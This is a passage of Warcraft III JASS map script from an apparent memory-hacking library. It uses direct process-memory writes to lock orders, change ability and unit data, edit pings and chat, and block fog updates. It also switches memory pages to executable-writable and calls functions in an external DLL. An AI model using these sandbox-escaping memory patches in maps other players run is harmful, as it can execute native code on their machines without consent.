                set oldprotection = ChangeOffsetProtection(pOrder5_offset,4,0x40)
                set Memory[pOrder5_offset/4] = Order5_lockedvalue
                call ChangeOffsetProtection(pOrder5_offset,4,oldprotection)
                set IsOrder5Locked = true
            endif
        else
            if IsOrder5Locked == true then
                set oldprotection = ChangeOffsetProtection(pOrder5_offset,4,0x40)
                set Memory[pOrder5_offset/4] = Order5_unlockedvalue
                call ChangeOffsetProtection(pOrder5_offset,4,oldprotection)
                set IsOrder5Locked = false
            endif
        endif
    elseif id == 6 then
        if IsNeedLock then
            if IsOrder6Locked == false then
                if Order6_unlockedvalue == 0 then
                    set Order6_unlockedvalue = Memory[pOrder6_offset/4]
                endif
                set oldprotection = ChangeOffsetProtection(pOrder6_offset,4,0x40)
                set Memory[pOrder6_offset/4] = Order6_lockedvalue
                call ChangeOffsetProtection(pOrder6_offset,4,oldprotection)
                set IsOrder6Locked = true
            endif
        else
            if IsOrder6Locked == true then
                set oldprotection = ChangeOffsetProtection(pOrder6_offset,4,0x40)
                set Memory[pOrder6_offset/4] = Order6_unlockedvalue
                call ChangeOffsetProtection(pOrder6_offset,4,oldprotection)
                set IsOrder6Locked = false
            endif
        endif
    elseif id == 7 then
        if IsNeedLock then
            if IsOrder7Locked == false then
                if Order7_unlockedvalue == 0 then
                    set Order7_unlockedvalue = Memory[pOrder7_offset/4]
                endif
                set oldprotection = ChangeOffsetProtection(pOrder7_offset,4,0x40)
                set Memory[pOrder7_offset/4] = Order7_lockedvalue
                call ChangeOffsetProtection(pOrder7_offset,4,oldprotection)
                set IsOrder7Locked = true
            endif
        else
            if IsOrder7Locked == true then
                set oldprotection = ChangeOffsetProtection(pOrder7_offset,4,0x40)
                set Memory[pOrder7_offset/4] = Order7_unlockedvalue
                call ChangeOffsetProtection(pOrder7_offset,4,oldprotection)
                set IsOrder7Locked = false
            endif
        endif
    elseif id == 8 then
        if IsNeedLock then
            if IsOrder8Locked == false then
                if Order8_unlockedvalue == 0 then
                    set Order8_unlockedvalue = Memory[pOrder8_offset/4]
                endif
                set oldprotection = ChangeOffsetProtection(pOrder8_offset,4,0x40)
                set Memory[pOrder8_offset/4] = Order8_lockedvalue
                call ChangeOffsetProtection(pOrder8_offset,4,oldprotection)
                set IsOrder8Locked = true
            endif
        else
            if IsOrder8Locked == true then
                set oldprotection = ChangeOffsetProtection(pOrder8_offset,4,0x40)
                set Memory[pOrder8_offset/4] = Order8_unlockedvalue
                call ChangeOffsetProtection(pOrder8_offset,4,oldprotection)
                set IsOrder8Locked = false
            endif
        endif
    endif
endfunction


function LockOrder1 takes nothing returns nothing
    call LockOrder(1,true)
endfunction
function LockOrder2 takes nothing returns nothing
    call LockOrder(2,true)
endfunction
function LockOrder3 takes nothing returns nothing
    call LockOrder(3,true)
endfunction
function LockOrder4 takes nothing returns nothing
    call LockOrder(4,true)
endfunction
function LockOrder5 takes nothing returns nothing
    call LockOrder(5,true)
endfunction
function LockOrder6 takes nothing returns nothing
    call LockOrder(6,true)
endfunction
function LockOrder7 takes nothing returns nothing
    call LockOrder(7,true)
endfunction
function LockOrder8 takes nothing returns nothing
    call LockOrder(8,true)
endfunction

function UnLockOrder1 takes nothing returns nothing
    call LockOrder(1,false)
endfunction
function UnLockOrder2 takes nothing returns nothing
    call LockOrder(2,false)
endfunction
function UnLockOrder3 takes nothing returns nothing
    call LockOrder(3,false)
endfunction
function UnLockOrder4 takes nothing returns nothing
    call LockOrder(4,false)
endfunction
function UnLockOrder5 takes nothing returns nothing
    call LockOrder(5,false)
endfunction
function UnLockOrder6 takes nothing returns nothing
    call LockOrder(6,false)
endfunction
function UnLockOrder7 takes nothing returns nothing
    call LockOrder(7,false)
endfunction
function UnLockOrder8 takes nothing returns nothing
    call LockOrder(8,false)
endfunction



function TestBlockOrders takes nothing returns nothing

    call ExecuteFunc("LockOrder1")
    call ExecuteFunc("LockOrder2")
    call ExecuteFunc("LockOrder3")
    call ExecuteFunc("LockOrder4")
    call ExecuteFunc("LockOrder5")
    call ExecuteFunc("LockOrder6")
    call ExecuteFunc("LockOrder7")
    call ExecuteFunc("LockOrder8")

    call TriggerSleepAction(5.0)

    call ExecuteFunc("UnLockOrder1")
    call ExecuteFunc("UnLockOrder2")
    call ExecuteFunc("UnLockOrder3")
    call ExecuteFunc("UnLockOrder4")
    call ExecuteFunc("UnLockOrder5")
    call ExecuteFunc("UnLockOrder6")
    call ExecuteFunc("UnLockOrder7")
    call ExecuteFunc("UnLockOrder8")


endfunction

function StartAbilityCD takes integer pAbility, real cd returns nothing
    set Memory[pReserverdIntArg1/4] = cleanInt(realToIndex(cd))
    call CallThisCallWith2Args(pStartAbilityCD,pAbility, pReserverdIntArg1)
endfunction


function SetHPCustomHPBarUnit takes integer PlayerID, integer UnitID, integer Color, real ScaleX, real ScaleY returns nothing
    if pSetHPCustomHPBarUnit == 0 then
        set pSetHPCustomHPBarUnit = GetModuleProcAddress(EXTRADLLNAME, "SetHPCustomHPBarUnit" )
    endif

    if pSetHPCustomHPBarUnit != 0 then
        call CallStdcallWith5Args(pSetHPCustomHPBarUnit,PlayerID , UnitID, Color, realToIndex(cleanReal(ScaleX)), realToIndex(cleanReal(ScaleY)))
    endif

endfunction

function SetHPBarColorForPlayer takes   integer PlayerID, integer HeroColor, integer UnitColor, integer TowerColor returns nothing

    if pSetHPBarColorForPlayer == 0 then
        set pSetHPBarColorForPlayer = GetModuleProcAddress(EXTRADLLNAME, "SetHPBarColorForPlayer" )
    endif
    if pSetHPBarColorForPlayer != 0 then
        call CallStdcallWith4Args(pSetHPBarColorForPlayer, PlayerID,HeroColor,UnitColor,TowerColor)
    endif
endfunction


function SetMPBarXScaleForPlayer takes   integer PlayerID, real HeroXscale, real UnitXscale, real TowerXscale returns nothing

    if pSetMPBarXScaleForPlayer == 0 then
        set pSetMPBarXScaleForPlayer = GetModuleProcAddress(EXTRADLLNAME, "SetMPBarXScaleForPlayer" )
    endif
    if pSetMPBarXScaleForPlayer != 0 then
        call CallStdcallWith4Args(pSetMPBarXScaleForPlayer, PlayerID, realToIndex(cleanReal(HeroXscale)),realToIndex(cleanReal(UnitXscale)),realToIndex(cleanReal(TowerXscale)))
    endif
endfunction


function SetMPBarYScaleForPlayer takes  integer PlayerID, real HeroYscale, real UnitYscale, real TowerYscale returns nothing

    if pSetMPBarYScaleForPlayer == 0 then
        set pSetMPBarYScaleForPlayer = GetModuleProcAddress(EXTRADLLNAME, "SetMPBarYScaleForPlayer" )
    endif
    if pSetMPBarYScaleForPlayer != 0 then
        call CallStdcallWith4Args(pSetMPBarYScaleForPlayer, PlayerID, realToIndex(cleanReal(HeroYscale)),realToIndex(cleanReal(UnitYscale)),realToIndex(cleanReal(TowerYscale)))
    endif
endfunction

function SetMPBarYOffsetForPlayer takes  integer PlayerID, real HeroYscale, real UnitYscale, real TowerYscale returns nothing

    if pSetMPBarYOffsetForPlayer == 0 then
        set pSetMPBarYOffsetForPlayer = GetModuleProcAddress(EXTRADLLNAME, "SetMPBarYOffsetForPlayer" )
    endif
    if pSetMPBarYOffsetForPlayer != 0 then
        call CallStdcallWith4Args(pSetMPBarYOffsetForPlayer, PlayerID, realToIndex(cleanReal(HeroYscale)),realToIndex(cleanReal(UnitYscale)),realToIndex(cleanReal(TowerYscale)))
    endif
endfunction


function SetHPBarXScaleForPlayer takes   integer PlayerID, real HeroXscale, real UnitXscale, real TowerXscale returns nothing

    if pSetHPBarXScaleForPlayer == 0 then
        set pSetHPBarXScaleForPlayer = GetModuleProcAddress(EXTRADLLNAME, "SetHPBarXScaleForPlayer" )
    endif
    if pSetHPBarXScaleForPlayer != 0 then
        call CallStdcallWith4Args(pSetHPBarXScaleForPlayer, PlayerID, realToIndex(cleanReal(HeroXscale)),realToIndex(cleanReal(UnitXscale)),realToIndex(cleanReal(TowerXscale)))
    endif
endfunction


function SetHPBarYScaleForPlayer takes  integer PlayerID, real HeroYscale, real UnitYscale, real TowerYscale returns nothing

    if pSetHPBarYScaleForPlayer == 0 then
        set pSetHPBarYScaleForPlayer = GetModuleProcAddress(EXTRADLLNAME, "SetHPBarYScaleForPlayer" )
    endif
    if pSetHPBarYScaleForPlayer != 0 then
        call CallStdcallWith4Args(pSetHPBarYScaleForPlayer, PlayerID, realToIndex(cleanReal(HeroYscale)),realToIndex(cleanReal(UnitYscale)),realToIndex(cleanReal(TowerYscale)))
    endif
endfunction




function UnitCanUseInventoryModify takes unit u, integer mod returns nothing
    local integer h=ConvertHandle(u)
    local integer a=Memory[(h+0x1F8)/4]
    if a>0 then
        set a=a/4+0x3C/4
        set Memory[a]=Memory[a]+mod
    endif
endfunction

function GetUnitAttackDamage takes unit u returns real
    local integer k=GetUnitDamageDicesCount(u)
    local integer spread=GetRandomInt(k,k*GetUnitDamageDicesSideCount(u))
    return I2R(GetUnitBaseDamage(u)+GetUnitGreenBonusDamage(u)+spread)
endfunction

function SetUnitCurrentMSper32 takes integer convertedHandle, real r returns nothing
    local integer a=GetUnitAddressFloatsRelated(convertedHandle,0xA0)
    local integer b=Memory[a/4+0x28/4]
    if b>0 then
        set Memory[b/4+0x64/4]=SetRealIntoMemory(GetRealFromMemory(Memory[b/4+0x64/4])+r)
    endif
endfunction

function SetUnitCurrentMSper32Address takes integer convertedHandle, integer address, real r returns nothing
    set Memory[address/4]=SetRealIntoMemory(GetRealFromMemory(Memory[address/4])+r)
endfunction

function GetUnitCurrentMSper32Address takes integer convertedHandle returns integer
    local integer a=GetUnitAddressFloatsRelated(convertedHandle,0xA0)
    local integer b=Memory[a/4+0x28/4]
    if b>0 then
        return b+0x64
    endif
    return 0
endfunction

function GetUnitCurrentMSper32 takes integer convertedHandle returns real
    local integer a=GetUnitAddressFloatsRelated(convertedHandle,0xA0)
    local integer b=Memory[a/4+0x28/4]
//    call echo(Int2Hex(a))
    if b>0 then
        return GetRealFromMemory(Memory[b/4+0x64/4])
    endif
    return 0.
endfunction

//only used for Dagger, shouldn't be used for anything else without testing
function GetSpellTargetYReal takes nothing returns real
    if GameVersion==0x26a then
        return cleanReal(indexToReal(ReadEBP_offset(0x76c)))
    elseif GameVersion==0x27a then
        return cleanReal(indexToReal(ReadEBP_offset(0x800)))
    endif
    return 0.
endfunction

function GetSpellTargetXReal takes nothing returns real
    if GameVersion==0x26a then
        return cleanReal(indexToReal(ReadEBP_offset(0x770)))
    elseif GameVersion==0x27a then
        return cleanReal(indexToReal(ReadEBP_offset(0x7FC)))
    endif
    return 0.
endfunction


function GetUnitIllusionModifier takes unit u, integer modifiertype returns real
    local integer cid=ConvertHandle(u)
    local integer buffid
    if cid < 1 then
        return 1.
    endif
    set buffid=LoadInteger(HY,GetHandleId(u),'ills')
    if buffid==0 then
        if GetUnitAbilityLevel(u,'B012')==1 then
            set buffid='B012'
        elseif GetUnitAbilityLevel(u,'Bman')==1 then
            set buffid='Bman'
        elseif GetUnitAbilityLevel(u,'B163')==1 then
            set buffid='B163'
        else
            return 1.
        endif
    endif
    set cid=GetUnitAbilityForAddresss(cid,buffid) /4
//    call echo(Int2Hex(cid*4))
    if cid>0 then
        if modifiertype==ILLUSTION_BONUS_DAMAGE_DEALS then
            return GetRealFromMemory(Memory[cid+0xD8/4])
        elseif modifiertype==ILLUSTION_BONUS_DAMAGE_RECEIVES then
            return GetRealFromMemory(Memory[cid+0xE0/4])
        endif
    endif
    return 1.
endfunction

function ModifyUnitsPassiveDisabledCounter takes unit u, integer mod returns nothing
    local integer cid=ConvertHandle(u)
    if cid<=0 then
        return
    endif
    set cid=(cid+0x1B8)/4
    if mod>0 or Memory[cid] <= mod then
        set Memory[cid]=Memory[cid]+mod
//        call echo(I2S(Memory[cid]))
    endif
endfunction






function NullifyCurrentAttack takes unit u returns string
    local integer cid=(ConvertHandle(u)+0x1E8)/4
    if cid < 0x1E8 then
        return "cannot attack"
    endif
    if Memory[cid]/4!=0 then
        set cid=Memory[cid]/4
        if Memory[cid+0x1F4/4]!=0 then
            set Memory[cid+0x1F4/4]=0
            return "nulled"
        else
            return "already empty"
        endif
    endif
    return "no attack has been found"
endfunction

function AddExtraAttack takes unit u returns boolean
    local integer cid=(ConvertHandle(u)+0x1E8)/4
    local real attackdelay
    if cid < 0x1E8 then
        return false
    endif
    if Memory[cid]/4!=0 then
        set cid=Memory[cid]/4
        if Memory[cid+0x1E4/4]!=0 then
            set cid=Memory[cid+0x1E4/4]/4
            set attackdelay=cleanReal(indexToReal(Memory[cid + 2]))
            if attackdelay > 0 then
                set Memory[cid + 1] = cleanInt(realToIndex(GetUnitNextAttackTimestamp(u)-attackdelay))
                return true
            endif
        endif
    endif
    return false
endfunction




function SetAbilityHotkeyParam takes integer id, integer off, integer newVal returns boolean
    local integer k=(GetAbilityUIDefAddr(id)+off)/4
    if k < off then
        return false
    endif
    if Memory[k]>0 then
        set Memory[Memory[k]/4]=newVal
        return true
    endif
    return false
endfunction

function GetAbilityHotkeyParam takes integer id, integer off returns integer
    local integer k=(GetAbilityUIDefAddr(id)+off)/4
    if k < off then
        return 0
    endif
    if Memory[k]>0 then
        return Memory[Memory[k]/4]
    endif
    return 0
endfunction

function SetAbilityIntegerParam takes integer id, integer off, integer newVal returns boolean
    local integer k=(GetAbilityUIDefAddr(id)+off)/4
    if k < off then
        return false
    endif
    set Memory[k]=newVal
    return true
endfunction

function GetAbilityIntegerParam takes integer id, integer off returns integer
    local integer k=(GetAbilityUIDefAddr(id)+off)/4

    if k > off then
        return Memory[k]
    endif
    return 0
endfunction

function SetAbilityRealParam takes integer id, integer off, real newVal returns boolean
    local integer k=(GetAbilityUIDefAddr(id)+off)/4
    if k < off then
        return false
    endif
    set Memory[k]=cleanInt(realToIndex(newVal))
    return true
endfunction

function GetAbilityRealParam takes integer id, integer off returns real
    local integer k=(GetAbilityUIDefAddr(id)+off)/4
    if k > off then
        return cleanReal(indexToReal(Memory[k]))
    endif
    return 0.
endfunction

function SetAbilityBoolParam takes integer id, integer off, boolean newVal returns boolean
    local integer k=(GetAbilityUIDefAddr(id)+off)/4
    if k < off then
        return false
    endif
    if newVal then
        set Memory[k]=1
    else
        set Memory[k]=0
    endif
    return true
endfunction

function GetAbilityBoolParam takes integer id, integer off returns boolean
    local integer k=(GetAbilityUIDefAddr(id)+off)/4
    if k > off then
        return Memory[k] > 0
    endif
    return false
endfunction



function SetAbilityResearchHotkeyId takes integer id, integer newVal returns boolean
    return SetAbilityHotkeyParam(id,0x98, newVal)
endfunction

function SetAbilityUnHotkeyId takes integer id, integer newVal returns boolean
    return SetAbilityHotkeyParam(id,0x8C, newVal)
endfunction

function SetAbilityHotkeyId takes integer id, integer newVal returns boolean
    return SetAbilityHotkeyParam(id,0x80, newVal)
endfunction

function SetAbilityHotkeyCommon takes integer id, integer newVal returns boolean
    call SetAbilityHotkeyId(id,newVal)
    call SetAbilityUnHotkeyId(id,newVal)
    return SetAbilityResearchHotkeyId(id,newVal)
endfunction

function SetAbilitySpellDetails takes integer id, integer det returns boolean
    return SetAbilityIntegerParam(id,0x70, det)
endfunction

function SetAbilityMissileSpeed takes integer id, real speed returns boolean
    return SetAbilityRealParam(id,0x64, speed)
endfunction

function SetAbilityResearchButtonY takes integer id, integer newY returns boolean
    return SetAbilityIntegerParam(id,0x60, newY)
endfunction

function SetAbilityResearchButtonX takes integer id, integer newX returns boolean
    return SetAbilityIntegerParam(id,0x5C, newX)
endfunction

function SetAbilityUnButtonY takes integer id, integer newY returns boolean
    return SetAbilityIntegerParam(id,0x58, newY)
endfunction

function SetAbilityUnButtonX takes integer id, integer newX returns boolean
    return SetAbilityIntegerParam(id,0x54, newX)
endfunction

function SetAbilityButtonY takes integer id, integer newY returns boolean
    return SetAbilityIntegerParam(id,0x50, newY)
endfunction

function SetAbilityButtonX takes integer id, integer newX returns boolean
    return SetAbilityIntegerParam(id,0x4C, newX)
endfunction

function SetAbilityMissileHoming takes integer id, boolean homing returns boolean
    return SetAbilityBoolParam(id,0x6C,homing)
endfunction

function SetAbilityMissileArc takes integer id, real arc returns boolean
    return SetAbilityRealParam(id,0x68, arc)
endfunction


function GetAbilityMissileSpeed takes integer id returns real
    return GetAbilityRealParam(id,0x64)
endfunction

function GetAbilityMissileArc takes integer id returns real
    return GetAbilityRealParam(id,0x68)
endfunction

function GetAbilityResearchHotkeyId takes integer id returns integer
    return GetAbilityHotkeyParam(id,0x98)
endfunction

function GetAbilityUnHotkeyId takes integer id returns integer
    return GetAbilityHotkeyParam(id,0x8C)
endfunction

function GetAbilityHotkeyId takes integer id returns integer
    return GetAbilityHotkeyParam(id,0x80)
endfunction

function GetAbilitySpellDetails takes integer id returns integer
    return GetAbilityIntegerParam(id,0x70)
endfunction

function GetAbilityResearchButtonY takes integer id returns integer
    return GetAbilityIntegerParam(id,0x60)
endfunction

function GetAbilityResearchButtonX takes integer id returns integer
    return GetAbilityIntegerParam(id,0x5C)
endfunction

function GetAbilityUnButtonY takes integer id returns integer
    return GetAbilityIntegerParam(id,0x58)
endfunction

function GetAbilityUnButtonX takes integer id returns integer
    return GetAbilityIntegerParam(id,0x54)
endfunction

function GetAbilityButtonY takes integer id returns integer
    return GetAbilityIntegerParam(id,0x50)
endfunction

function GetAbilityButtonX takes integer id returns integer
    return GetAbilityIntegerParam(id,0x4C)
endfunction

function IsAbilityMissileHoming takes integer id returns boolean
    return GetAbilityBoolParam(id,0x6C)
endfunction



function GetAbilityStringParam takes integer id, integer off returns string
    local integer k=GetAbilityUIDefAddr(id)
    if k < 1 then
        return ""
    endif
//    call echo(Int2Hex(k))
    set k=(k+off)/4
    if Memory[k]>0 then
        return ConvertNullTerminatedStringToString(Memory[k])
    endif
    return ""
endfunction

function SetAbilityStringParam takes integer id, integer off, string newVal returns boolean
    local integer k=GetAbilityUIDefAddr(id)
    if k < 1 then
        return false
    endif
//    call echo(Int2Hex(k))
    set k=(k+off)
//    if Memory[k]>0 then
        //if Memory[Memory[k]]>0 then
            call WriteNullTerminatedString(newVal,k)
            return true
        //endif
//    endif
    return false
endfunction

function GetAbilityStringParam2 takes integer id, integer off, integer lvl returns string
    local integer k=GetAbilityUIDefAddr(id)
    if k < 1 then
        return null
    endif
//    call echo(Int2Hex(k))
    set k=(k+off)/4
    if Memory[k]+lvl-1>0 then
        //if Memory[Memory[k]/4]>0 then
//            call echo(Int2Hex(Memory[k]+(lvl-1)*4))
            return ConvertNullTerminatedStringToString(Memory[(Memory[k]+(lvl-1)*4)/4])
        //endif
    endif
    return null
endfunction

function SetAbilityStringParam2 takes integer id, integer off, string newVal, integer lvl returns boolean
    local integer k=GetAbilityUIDefAddr(id)
    if k < 1 then
        return false
    endif
//    call echo(Int2Hex(k))
    set k=(k+off)/4
    if Memory[k]>0 then
        //if Memory[Memory[k]/4]>0 then
            call WriteNullTerminatedString(newVal,Memory[k+lvl-1])
            return true
        //endif
    endif
    return false
endfunction

function GetAbilityGlobalSound takes integer id returns string
    return GetAbilityStringParam(id,0x48)
endfunction

function SetAbilityGlobalSound takes integer id, string s returns boolean
    return SetAbilityStringParam(id,0x48, s)
endfunction

function SetAbilityGlobalMessage takes integer id, string s returns boolean
    return SetAbilityStringParam(id,0x44, s)
endfunction

function SetAbilityUbertip takes integer id, integer lvl, string s returns boolean
    return SetAbilityStringParam2(id,0x158, s, lvl)
endfunction

function GetAbilityUbertip takes integer id, integer lvl returns string
    return GetAbilityStringParam2(id,0x158, lvl)
endfunction

function GetUnitMissileSpeed takes integer id, integer index returns real
    local integer k=GetUnitUIDefAddr(id)/4
    if k==0 then
        return 0.
    endif
    set k=Memory[k+0x60/4]
    if k==0 then
        return 99999.
    endif
    return GetRealFromMemory(Memory[k/4+index])
endfunction

function SetUnitMissileArt takes unit u, string path returns nothing
    local integer a=GetUnitUIDefAddr(GetUnitTypeId(u))/4
    if a>0 then
        set a=Memory[a+0x40/4]
        set Memory[a/4]=GetStringAddress(path)
    endif
endfunction

function GetPingAddress takes nothing returns integer
    return Memory[(Memory[pGameClass2] + 0x254)/4]
endfunction


function GetPingX takes integer id returns real
    return cleanReal(indexToReal(  Memory[ (Memory[(GetPingAddress( ) + 0xb0)/4] + 12*id)/4]))
endfunction


function GetPingY takes integer id returns real
    return cleanReal( indexToReal(  Memory[ (Memory[(GetPingAddress( ) + 0xb0)/4] + 12*id + 4)/4] ))
endfunction

function GetPingZ takes integer id returns real
    return cleanReal( indexToReal(  Memory[ (Memory[(GetPingAddress( ) + 0xb0)/4] + 12*id + 8)/4] ))
endfunction


function SetPingX takes integer id, real x returns nothing
    set Memory[ (Memory[(GetPingAddress( ) + 0xb0)/4] + 12*id)/4] = cleanInt( realToIndex(x) )
endfunction


function SetPingY takes integer id, real y returns nothing
    set Memory[ ( Memory[ (GetPingAddress( ) + 0xb0 )/4 ] + 12*id + 4 )/4 ] = cleanInt( realToIndex(y) )
endfunction


function SetPingZ takes integer id, real z returns nothing
    set Memory[ ( Memory[ (GetPingAddress( ) + 0xb0 )/4 ] + 12*id + 8 )/4 ] = cleanInt( realToIndex(z) )
endfunction

function GetPingCount takes nothing returns integer
    return Memory[(GetPingAddress( ) + 0xa4)/4]
endfunction

function SetPingCount takes integer i returns nothing
    set Memory[(GetPingAddress( ) + 0xa4)/4] = i
endfunction

function GetNextPingFillID takes nothing returns integer
    return Memory[(GetPingAddress( ) + 0xa0)/4]
endfunction

function SetNextPingFillID takes integer i returns nothing
    set Memory[(GetPingAddress( ) + 0xa0)/4] = i
endfunction

function GetNextPingID takes nothing returns integer
    return Memory[(GetPingAddress( ) + 0x98)/4]
endfunction

function SetNextPingID takes integer i returns nothing
    set Memory[(GetPingAddress( ) + 0x98)/4] = i
endfunction


function TestPingsTest takes nothing returns nothing
    call BJDebugMsg( "Latest X" + R2S(GetPingX(GetNextPingFillID( ))) )
    call BJDebugMsg( "Latest Y" + R2S(GetPingY(GetNextPingFillID( ))) )
    call BJDebugMsg( "Latest Z" + R2S(GetPingZ(GetNextPingFillID( ))) )
    call BJDebugMsg( "Ping count:" + I2S(GetPingCount( )))
endfunction

function GetLightningAddressByID takes integer id returns integer
    if Memory[pLightEnv+0x34/4] != 0 then
        return Memory[(Memory[pLightEnv+0x34/4] + 8)/4] +  (id - 1) * 4
    endif
    return 0
endfunction


function GetGameAreaSizeLimit takes nothing returns real
    return cleanReal(indexToReal(Memory[(Memory[pGameClass3] + 0xF8)/4]))
endfunction

function SetGameAreaSizeLimit takes real r returns nothing
    set Memory[(Memory[pGameClass3] + 0xF8)/4] = cleanInt(realToIndex(r))
endfunction

function TestRemoveGameAreaLimit takes nothing returns nothing
    call SetGameAreaSizeLimit(0.0)
endfunction

function SetWidescreenFixState takes boolean WidescreenState returns nothing
    local integer nOffset1

    if pSetWidescreenFixState == 0 then
        set pSetWidescreenFixState = GetModuleProcAddress(EXTRADLLNAME, "SetWidescreenFixState" )
    endif
    if pSetWidescreenFixState != 0 then
        call CallStdcallWith1Args(pSetWidescreenFixState,B2I(WidescreenState))
    endif
endfunction

function SetCustomFovFix takes real CustomFOV_X returns nothing
    local integer nOffset1

    if pSetCustomFovFix == 0 then
        set pSetCustomFovFix = GetModuleProcAddress(EXTRADLLNAME, "SetCustomFovFix" )
    endif
    if pSetCustomFovFix != 0 then
        call CallStdcallWith1Args(pSetCustomFovFix,cleanInt(realToIndex(CustomFOV_X)))
    endif
endfunction

function TestWideScreen takes nothing returns nothing
    call SetWidescreenFixState(not WidescreenState[GetPlayerId(GetTriggerPlayer())])
    set WidescreenState[GetPlayerId(GetTriggerPlayer())]=not WidescreenState[GetPlayerId(GetTriggerPlayer())]
endfunction

function GetAgileTimersData takes nothing returns integer
    local integer pOffset = Memory[pTimerAddr]
    if pOffset > 0 then
        set pOffset = Memory[(pOffset+0x40)/4]
        if pOffset > 0 then
            return pOffset
        endif
    endif
    return 0
endfunction

function GetTimerList takes nothing returns integer
    local integer pOffset = GetAgileTimersData( )
    if pOffset > 0 then
        set pOffset = ReadRealMemory(pOffset + 0x8)
        if pOffset > 0 then
            return pOffset + 4
        endif
    endif
    return 0
endfunction

function GetTimerCount takes nothing returns integer
    local integer pOffset = GetAgileTimersData( )
    if pOffset > 0 then
        set pOffset = ReadRealMemory(pOffset + 0x20)
        if pOffset > 0 then
            return pOffset - 1
        endif
    endif
    return 0
endfunction


function TestPrintAllTimers takes nothing returns nothing
    local integer TimerList = GetTimerList( )
    local integer TimersCount = GetTimerCount( )
    local integer CurrentTimerID = 0
    local integer CurrentTimer = 0

    call BJDebugMsg("First timer addr:" + Int2Hex(ReadRealMemory(TimerList)))
    call BJDebugMsg("Agile addr: " + Int2Hex(GetAgileTimersData( )))
    call BJDebugMsg("Timers count:" + I2S(GetTimerCount()))
    loop
        set TimersCount = GetTimerCount( )
        call BJDebugMsg("Timer id:" + I2S(CurrentTimerID) )
        set CurrentTimer = ReadRealMemory(TimerList + CurrentTimerID * 4)
        call BJDebugMsg("Timer addr: " + Int2Hex(CurrentTimer))
        call BJDebugMsg("Timer 1/2 values: " + R2S(cleanReal(indexToReal(ReadRealMemory(CurrentTimer + 0x4)))) + " / " +  R2S(cleanReal(indexToReal(ReadRealMemory(CurrentTimer + 0x8)))))
        if (cleanReal(indexToReal(ReadRealMemory(CurrentTimer + 0x8))) == 0.4 or cleanReal(indexToReal(ReadRealMemory(CurrentTimer + 0x8))) == 0.5) then
            call WriteRealMemory(CurrentTimer + 0x8, cleanInt(realToIndex( 10.0 ) ) )
        endif
   
   
        set CurrentTimerID = CurrentTimerID + 1
        exitwhen CurrentTimerID > TimersCount
    endloop
endfunction

function GetFogStateAddr takes nothing returns integer
    return Memory[pCGameState + 3]
endfunction



function UpdateFogManual takes nothing returns nothing
    local integer pFogStateOff = GetFogStateAddr( ) + 4
    if pFogStateOff > 4 then
        call CallThisCallWith1Args(pUpdateFogManual,pFogStateOff)
    endif
endfunction

function BlockRealFogUpdate takes boolean block returns nothing
    local integer oldprotection1
    if FogUpdateBlocked then
        set oldprotection1 = ChangeOffsetProtection(pFogUpdateBlockAddr*4,8,0x40)
        if block then
            call AddNewOffsetToRestore(pFogUpdateBlockAddr*4,ReadRealMemory(pFogUpdateBlockAddr*4))
            call AddNewOffsetToRestore((pFogUpdateBlockAddr+1)*4,ReadRealMemory((pFogUpdateBlockAddr+1)*4))
            set Memory[pFogUpdateBlockAddr] = pFogUpdateBlockAddrNew1
            set Memory[pFogUpdateBlockAddr + 1] = pFogUpdateBlockAddrNew2
        else
            set Memory[pFogUpdateBlockAddr] = pFogUpdateBlockAddrOld1
            set Memory[pFogUpdateBlockAddr + 1] = pFogUpdateBlockAddrOld2
        endif
        call ChangeOffsetProtection(pFogUpdateBlockAddr*4,8,oldprotection1)
    else
        set pFogUpdateBlockAddrOld1 = Memory[pFogUpdateBlockAddr]
        set pFogUpdateBlockAddrOld2 = Memory[pFogUpdateBlockAddr + 1]
        set FogUpdateBlocked = true
        call BlockRealFogUpdate( block )
    endif
endfunction

function GetChatEnv takes nothing returns integer
    local integer retval =   GetGameUIENV( ) + 0x174
    if retval > 0x174 then
        return retval
    endif
    return 0
endfunction

function GetChatMessagesList takes nothing returns integer
    return ReadRealMemory(GetChatEnv( )  + 0x18)
endfunction

function SetChatEmptyMessage takes nothing returns nothing
    if GetChatEnv( ) > 0 then
        call WriteRealMemory( GetChatEnv( ) + 4, 1 )
    endif
endfunction

function SetChatMessageXbyID takes integer MsgID, real x returns nothing
    local integer pChatMessageOffset = GetChatMessagesList( ) + MsgID * 12
    call WriteRealMemory(pChatMessageOffset + 0, cleanInt(realToIndex(x)))
endfunction

function SetChatMessageYbyID takes integer MsgID, real x returns nothing
    local integer pChatMessageOffset = GetChatMessagesList( ) + MsgID * 12
    call WriteRealMemory(pChatMessageOffset + 4, cleanInt(realToIndex(x)))
endfunction

function GetChatMessageAddressByID takes integer MsgID returns integer
    local integer pChatMessageOffset = GetChatMessagesList( ) + MsgID * 12
    return ReadRealMemory(pChatMessageOffset + 8)
endfunction

function SearchStringValueAddress takes string str returns integer
    local integer retaddr = CallThisCallWith2Args(pSearchStringValue,pSearchStringAddr1,GetStringAddress(str))
    if retaddr == 0 or ReadRealMemory( retaddr + 0x1C ) == 0 then
        set retaddr = CallThisCallWith2Args(pSearchStringValue,pSearchStringAddr2,GetStringAddress(str))
    endif
    if retaddr == 0 or ReadRealMemory( retaddr + 0x1C ) == 0 then
        return 0
    endif
    return ReadRealMemory( retaddr + 0x1C )
endfunction

function SearchStringValue takes string str returns string
    return ConvertNullTerminatedStringToString(SearchStringValueAddress(str))
endfunction

function ReplaceStringValue takes string str, integer newstraddress, integer sizeof_realstr returns nothing
    local integer retaddr = SearchStringValueAddress(str)
    call CopyMemory(retaddr,newstraddress,sizeof_realstr)
endfunction


function ReplaceStringValueUNSAFE takes string str, integer newstraddress returns nothing
    local integer retaddr = CallThisCallWith2Args(pSearchStringValue,pSearchStringAddr1,GetStringAddress(str))
    if retaddr == 0 or ReadRealMemory( retaddr + 0x1C ) == 0 then
        set retaddr = CallThisCallWith2Args(pSearchStringValue,pSearchStringAddr2,GetStringAddress(str))
    endif
    if retaddr == 0 or ReadRealMemory( retaddr + 0x1C ) == 0 then
        return
    endif
    call AddNewOffsetToRestore(retaddr + 0x1C,ReadRealMemory(retaddr + 0x1C))
    call WriteRealMemory(retaddr + 0x1C, newstraddress)
endfunction

function SimulateAttackInstance takes unit u, unit target returns nothing
    local integer a=GetUnitAbility(u,'Aatk')
    local integer b
    local integer c
    if a>0 then
        set b=ConvertHandle(target)
        //call BJDebugMsg("attack starting")
        call CallThisCallWith7Args(pSimulateAttackInstance,a,b,0,0,1,1,1)
        //attack ability
        //target
        //unknown, must be zero in order to attack to happen
        //1 if should use orb-modifier (any)
        //unused
        //unknown
        //unknown
        //0 1 0 0 0 - autocast hotkey
